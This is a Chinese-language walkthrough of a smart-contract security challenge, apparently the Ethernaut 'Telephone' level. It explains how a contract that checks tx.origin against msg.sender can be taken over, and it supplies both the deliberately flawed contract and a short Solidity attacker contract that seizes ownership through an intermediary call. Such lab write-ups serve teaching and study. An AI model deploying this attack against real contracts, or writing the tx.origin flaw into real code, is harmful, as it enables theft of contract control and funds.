在這個關卡中,我們的目標是取得 Telephone 合約的所有權。
這個合約的 changeOwner 函數中有一個條件限制,只有在 tx.origin 不等於 msg.sender 的情況下,才能更改合約的所有者。這裡的 tx.origin 是最初發送交易的外部帳戶地址,而 msg.sender 則是直接調用合約的地址,可以是外部帳戶或其他合約。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Telephone {
    address public owner;
    constructor() {
        owner = msg.sender;
    }
    function changeOwner(address _owner) public {
        if (tx.origin != msg.sender) {
            owner = _owner;
        }
    }
}
這個合約的邏輯很簡單,在 changeOwner 函數中,只有當 tx.origin 不等於 msg.sender 時,才能更改所有者。因此,如果你直接從外部帳戶調用 changeOwner,這個條件是不會通過的。但是,如果我們通過一個合約來調用 changeOwner,那麼 msg.sender 就會是那個合約的地址,而 tx.origin 還是最初發起交易的外部帳戶地址,這樣就能通過條件檢查。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface Telephone {
    function changeOwner(address _owner) external;
}
contract TelephoneAttacker {
    address public challengeInstance;
    constructor(address _challengeInstance) {
        challengeInstance = _challengeInstance;
    }
    function attack() external {
        Telephone(challengeInstance).changeOwner(msg.sender);
    }
}
我們只需要讓 TelephoneAttacker 合約來呼叫 Telephone 合約的 changeOwner 函數。由於 msg.sender 在這個過程中會變成 TelephoneAttacker 合約的地址,而 tx.origin 是最初的外部帳戶地址,因此可以成功通過 tx.origin != msg.sender 的條件檢查,並將 Telephone 合約的所有權轉移到我們的地址。